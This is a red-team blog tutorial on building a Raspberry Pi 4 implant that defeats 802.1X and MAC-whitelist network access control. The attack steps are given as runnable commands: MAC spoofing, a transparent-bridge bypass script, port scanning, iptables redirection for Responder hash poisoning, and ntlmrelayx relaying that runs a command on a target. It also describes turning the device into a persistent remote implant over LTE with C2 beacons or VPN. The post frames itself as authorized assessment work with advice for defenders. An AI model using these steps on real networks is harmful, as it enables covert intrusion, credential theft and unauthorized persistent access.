Introduction
Network Access Control (NAC) is often considered the gatekeeper of enterprise networks. Its job is to allow only compliant, trusted devices onto the network. But what happens when that trust is blind? Or when attackers understand the protocol better than those who implement it?
We will cover some basics around NAC and then build a Raspberry Pi 4 that can bypass NAC environments using versions prior to 802.1X-2010 or MAC whitelisting only (Mac Authentication Bypass; MAB).
Network Access Control (NAC)
What is NAC?
Think of NAC as your network’s bouncer. It decides who gets in, how long they stay and what resources they can access.
NAC policies are enforced at the access layer. So typically by managed switches or wireless controllers (the authenticator), which may implement and enforce:
- MAC address filtering
- 802.1X (port-based) authentication
- Host posture checks (e.g., AV installed?)
- Certificates or credentials
- Fingerprinting (stack behavior, ports)
Devices (supplicants) that fail these checks are either blocked, quarantined, or placed into restricted VLANs with limited access. Typically, a RADIUS server handles the authentication decisions, evaluating the device's credentials and posture before granting or denying access. EAP over LAN (EAPOL) as protocol is used under the hood.
What 802.1X Versions Exist?
At the core of most NAC implementations lies IEEE 802.1X.
802.1X is a port-based authentication protocol. Over time, the standard evolved through multiple amendments and revisions, introducing newer versions with security-related improvements.
Below is a summary of major versions:
| Version | Year | Key Features |
|---|---|---|
| 802.1X-2001 | 2001 | Original version. Introduced port-based authentication via EAP over LAN (EAPOL). No post-auth protection. |
| 802.1X-2004 | 2004 | Consolidated improvements. Still authentication-only. No traffic encryption. Vulnerable to MITM bridging attacks. |
| 802.1X-2010 | 2010 | Full MACSec support (IEEE 802.1AE). Encrypts Layer 2 traffic and ensures frame integrity. Prevents passive/active bridging. |
| 802.1X-2020 | 2020 | Adds support for dynamic policies, SDN integration, modern EAP types, and cloud-era NAC workflows. Rarely deployed today. |
What Authentication Methods Exist?
MAC Authentication Bypass (MAB)
When a client doesn’t support 802.1X (e.g. printers or VoIP phones), the switch may fall back to MAB. Here, the switch only sends the MAC address to a RADIUS server for approval or compares it to a static, local whitelist. If whitelisted, the port is opened. If not, access is forbidden.
The flaw: MAC addresses are trivially spoofable. Also, they can be fairly easily obtained via:
- Sniffing ARP or EAPOL traffic
- Reading device labels
- Accessing printer menus or status pages
Afterwards, the attacker simply adjusts his MAC address and gains access to the network.
Authenticated / Authorized MAC (802.1X Auth)
Here, devices authenticate using credentials (EAP-MD5, PEAP) or certificates (EAP-TLS). Once authenticated, the port becomes authorized.
The problem: The switch often does not verify continuity. If a new device spoofs the same MAC and transparently bridges the original, it can ride the already authorized session.
This forms the basis of classic Man-in-the-Middle (MitM) styled NAC bypassing techniques.
Also, MACSec is often not implemented or enforced to protect against such MitM attacks. Although being introduced as security feature with 802.1X-2010.
MACSec (802.1AE)
MACSec encrypts and authenticates Ethernet frames after authentication is complete. It protects the integrity and confidentiality of Layer 2 traffic and renders MitM attacks ineffective.
Limitation: Most environments don’t support it in full. Both the supplicant (client) and the authenticator (switch) must be MACSec-capable. Additionally, a fall-back to earlier (insecure) methods must be prevented. Due to this, seeing MACSec deployed strictly in real-world environments is quite rare.
NAC Bypassing
How NAC Can Be Bypassed
In red team scenarios, operators often encounter legacy NAC deployments relying on 802.1X-2004 or MAC-based authorization.
These setups are vulnerable to two dominant techniques:
1. MAB Spoofing
If the target network uses MAB:
- Capture a legitimate MAC address (e.g. from a printer or VoIP phone)
- Use
macchangerto spoof the same MAC on your rogue device - Connect your rogue device and profit
sudo ifconfig eth0 down
sudo macchanger -m <target-allow-mac> eth0
sudo ifconfig eth0 upChanging the attacker's MAC to a whitelisted one
Success depends on:
- No IP or DHCP fingerprinting
- No port security or re-auth intervals
2. Transparent Bridging
This is the most common method in networks using 802.1X before 2010 without MACSec.
We as attacker can place a transparent bridge between the victim (authenticated device like a printer) and the switch. Once the victim authenticates, the port is generally authorized. This works universially, also if MAB is used instead.
Afterwards, we as attacker will:
- Bridge traffic from the victim
- SNAT or DNAT outbound packets to remain hidden
- Sniff credentials, sessions, and protocols
- Inject traffic and gain access to the network
There are various public tools that automate the setup of Linux bridges, ebtables, iptables, and sniffing rules:
Also some very good blogs and videos online one should consume:
LuemmelSec
Michael Schneider
Raspberry Pi 4 as a NAC Implant
One of the most portable and flexible ways to carry out NAC bypass attacks is using a Raspberry Pi 4 (RPi4). Compact, inconspicuous, and feature-rich, it serves as a reliable network implant.
We will configure the RPi4 to spawn a wireless hotspot, to which we as attacker can connect to. Using this wireless access, we can access the RPi4 using OpenSSH and execute the nac bypass exploitation. Afterwards, we may configure our implant to be remotely accessible via VPN or C2 beacons using an LTE USB adapter.
Hardware Overview
For our setup, we will require the following hardware:
| Component | Purpose |
|---|---|
| RPi 4 (8GB) | Core compute unit |
| UGreen USB NIC | Second Ethernet interface eth1 (for victim) |
| Huawei LTE Stick | Optional out-of-band connection (C2/VPN/Exfil/Internet) |
| 3.5" TFT Screen | Optional display for status indication or management |
| Power Bank | Optional power supply for portability without need of wall socket |
Here some links to purchase the hardware (no affiliate links):
Software Stack
- Kali Linux ARM64 as base image
- Mick Schneider's
nac_bypassbash tooling - Bash scripts for managing Huawei LTE dongle and TFT display
I have developed an automated installation script to set these things up.
l4rm4ndInstallation Steps
- Flash Kali Linux onto an SD card using Raspberry Pi Imager
- Using the advanced setup options you can pre-configure your prefered Linux username and password. Also, you can enable OpenSSH for easy remote management. Please refrain from configuring wireless lan. Use a regular LAN cable instead.
- Boot and update the system:
sudo apt update && sudo apt upgrade -y
- Clone the automated installation script:
git clone https://github.com/l4rm4nd/NAC-RPi4 && cd NAC-RPi4
- Run the installation script to set things up:
sudo chmod +x provision.shsudo ./provision.sh
Optionally, you may install the following tools for the TFT display in case you operate one. This is not handled by the script. See these links and repos:
- https://github.com/lcdwiki/LCD-show-kali
- Driver installation to make TFT display working on kali
- https://github.com/l4rm4nd/RPi4-TFT
- Bash script to display custom images instead of log screen
Usage
Once the installation script has finished, please ensure to fully reboot your RPi4. You may remove all previously connected LAN patch cables now. We can use the wifi hotspot instead.
Shell Access
The RPi4 will spawn a wireless hotspot. The SSID name and password were configured during the installation routine.
You can simply connect to this wireless hotspot and will receive an IP address within the range 192.168.200.2-100. A DHCP service is running, handing out leases.
Afterwards, you can proceed using your preferred SSH client to access the RPi's OpenSSH network service on TCP/22. I personally love Mobaxterm for Windows and Terminus on mobile devices:
Mobatek
Termius Corporation
Alternatively, you can just use your native Windows/Linux terminal:
ssh [email protected]SSHing into the RPi4
LTE Management
A systemd service named huawei-lte-connect.service was configured on the RPi4. The service starts automatically during boot and tries to register your SIM card in the mobile network using the Huawei LTE USB dongle.
After booting up, the LTE dongle should report back a steady LED color:
- Steady Green → connected to 2G network
- flashing fast: not registered to network
- flashing slow: registered to 2G network
- Steady Blue → connected to 3G network
- flashing slow: registered to 3G network
- Steady Cyan → connected to LTE network
- flashing slow: registered to LTE network
In case the connection is not working, you can manually restart the systemd service or manually run the Huawei management script example_huawei_hilink.sh:
# checking the status of the systemd service
sudo systemctl huawei-lte-connect.service status
# manually restarting the systemd service
sudo systemctl huawei-lte-connect.service restart
# manually running the huawei management script
sh ~/huawei_hilink_api/example_huawei_hilink.sh onManually testing the huawei lte dongle
You can access the web-based HiLink panel at http://192.168.8.1 and manually configure the stick until it works. May toggle stuff like roaming. Then just plug it back into the RPi4 once working.
Wifi Hotspot Management
A systemd service named hostapd was configured on the RPi4. The service starts automatically and spawns a wireless hotspot based on your given SSID name and passphrase.
You may adjust the hotspot configuration via this file:
/etc/hostapd/hostapd.confConfiguration file for wifi hotspot
Or just re-run the installation script, which will overwrite the settings too.
NAC Bypassing
The installation script cloned the NAC bypass repository from GitHub into the /root/nac_bypass folder.
scipag
In order to proceed with the NAC bypass attack, you must follow these steps:
- SSH into the RPi4 using the wifi hotspot or other means
- Run the NAS bypass script
- Connect the switch to
eth0(native LAN interface of RPi4) - Connect victim (e.g. printer) to
eth1(external USB LAN adapter)
- Connect the switch to
# ssh into RPI4
ssh [email protected]
# run the nac bypass script
sudo /root/nac_bypass/./nac_bypass_setup.sh -S
###################################
###### CONNECT THE CABLES
###### eth0 --> switch
###### eth1 --> printer
###################################
###### and let the script do its job ....starting the nac bypass attack
The script will create a new bridge interface called br0 and configure iptables nat rules to properly pass packets along:
All network traffic passes through the bridge and can be analyzed accordingly. This is done to capture Kerberos and SMB packets with tcpdump – as these are normally found in several places on a Windows network, making it possible to see the network configuration, such as the client’s IP and MAC address. This information is used to automatically configure the client side of the bridge. However, the bypass’s connection to the network remains blocked to ensure that network packets from the attacker device find their way onto the network and are detected. If packets from the attacker are sent onto the network later, an ebtables rule will overwrite the MAC address, meaning that the packets will appear as if they originated from the client. The same procedure is implemented using iptables rules at IP level, so that outgoing TCP, UDP and ICMP packets also have the same IP address as the client. Finally, the attacker is able to connect to the network and can carry out actions from their own device.
Once fininshed, you have bypassed NAC and can access the network.
TCP/UDP Port Scanning - Nmap
Once NAC is bypassed, we can natively access the local network. This allows for regular security auditing, which may include nmap port scanning and vulnerability assessments.
sudo nmap -sS -Pn -p- --open --min-rate 4000 --max-retries 1 <TARGET-SUBNET>Scanning the NAC protected internal network
LLMNR/NBT-NS Poisoning - Responder
Once NAC is bypassed, we may want to run responder to grep some hashes. However, due to our NAC bypass setup, we cannot run it as usual.
Instead, we need specific iptables rules in place. This will be done automatically, if the nac_bypass_setup.sh is run with the -R flag. We neglected this flag though.
Nonetheless, we can manually add the relevant iptables rules in retrospect once needed. We just define the victim's IP address and re-route relevant packets:
VICTIM_IP="<VICTIM-PRINTER-IP>"
# NetBIOS Name Service (UDP 137)
sudo iptables -t nat -A PREROUTING -i br0 -d "$VICTIM_IP" -p udp --dport 137 -j DNAT --to-destination 169.254.66.66:137
# NetBIOS Datagram Service (UDP 138)
sudo iptables -t nat -A PREROUTING -i br0 -d "$VICTIM_IP" -p udp --dport 138 -j DNAT --to-destination 169.254.66.66:138
# NetBIOS Session Service (TCP 139)
sudo iptables -t nat -A PREROUTING -i br0 -d "$VICTIM_IP" -p tcp --dport 139 -j DNAT --to-destination 169.254.66.66:139
# SMB (TCP 445)
sudo iptables -t nat -A PREROUTING -i br0 -d "$VICTIM_IP" -p tcp --dport 445 -j DNAT --to-destination 169.254.66.66:445
# LLMNR / Multicast (UDP 5553)
sudo iptables -t nat -A PREROUTING -i br0 -d "$VICTIM_IP" -p udp --dport 5553 -j DNAT --to-destination 169.254.66.66:5553
# HTTP (TCP 80)
sudo iptables -t nat -A PREROUTING -i br0 -d "$VICTIM_IP" -p tcp --dport 80 -j DNAT --to-destination 169.254.66.66:80
# may add more like LDAP, SMTP, DNS...Custom iptables routes necessary for responder
Finally, we can start responder like this:
sudo /usr/sbin/responder -I br0 -e <VICTIM-PRINTER-IP>LLMNR/NetBIOS poisoning using responder
Just know what you are doing!
NetNTLM Relaying - Ntlmrelayx
Continuing our exploitation of the potential consequences of LLMNR and NBT-NS broadcast traffic being present in the target environment, we may want to relay NetNTLM hashes.
Again, impacket's hacking suite comes into play with the ntlmrelayx tooling:
sudo ntlmrelayx -t <TARGET-IP> -smb2support -ip 169.254.66.66 -c 'whoami /all' -debug NetNTLM relaying using ntlmrelayx
Iptables Management
In case you want to inspect iptables rules or remove some of the previously defined rules for responder/ntlmrelayx:
# list rules with ids
sudo iptables -t nat -L -n --line-numbers
# remove rules by id
sudo iptables -t nat -D PREROUTING <ID>Remote Implant
Bypassing NAC as well as enumerating and exploiting networks is fun. Staying onsite and being connected to the RPi's local wifi hotspot is not though.
We can leverage the RPi4 as implant to gain remote access to a corporate's network by various means (after bypassing NAC):
- Spawning a VPN connection to our VPN server (e.g. via WireGuard)
- Spawning a beacon/session to our C2 framework (e.g. via cronjob)
- Spawning an OpenSSH connection to our SSH server (e.g. via autossh)
For this blog post, we will not dive into setting these things up.
This allows for unrestricted Out-of-Band (OoB) Internet connections and you are not limited/blocked by the corporates internal network that may enforce HTTP proxies with authentication etc.
In case you have properly setup such LTE USB dongle, you must fix ip routes after bypassing NAC. This will ensure that Internet via LTE works natively for outgoing packets and not use the transparent bridge interface br0:
sudo /root/./fix-lte-routing.shFixing routes to make Internet via LTE natively work
After that, everything should work flawlessly (e.g. using apt, curl, wg-quick and so on) using the LTE interface on eth2.
Final Thoughts
By combining a Raspberry Pi 4, LTE modem, and smart tooling, a highly effective and stealthy NAC bypass implant can be created and deployed in minutes. While organizations may rely on NAC as a silver bullet, legacy 802.1X versions and weak enforcement expose them to real-world bypass techniques.
Security professionals and red teamers should understand the limitations of NAC implementations and leverage implants like these for authorized assessments.
For defenders, this blog is your reminder to harden your NAC implementation.
This type of attack is tracked by the MITRE ATT&CK framework as:
Discussion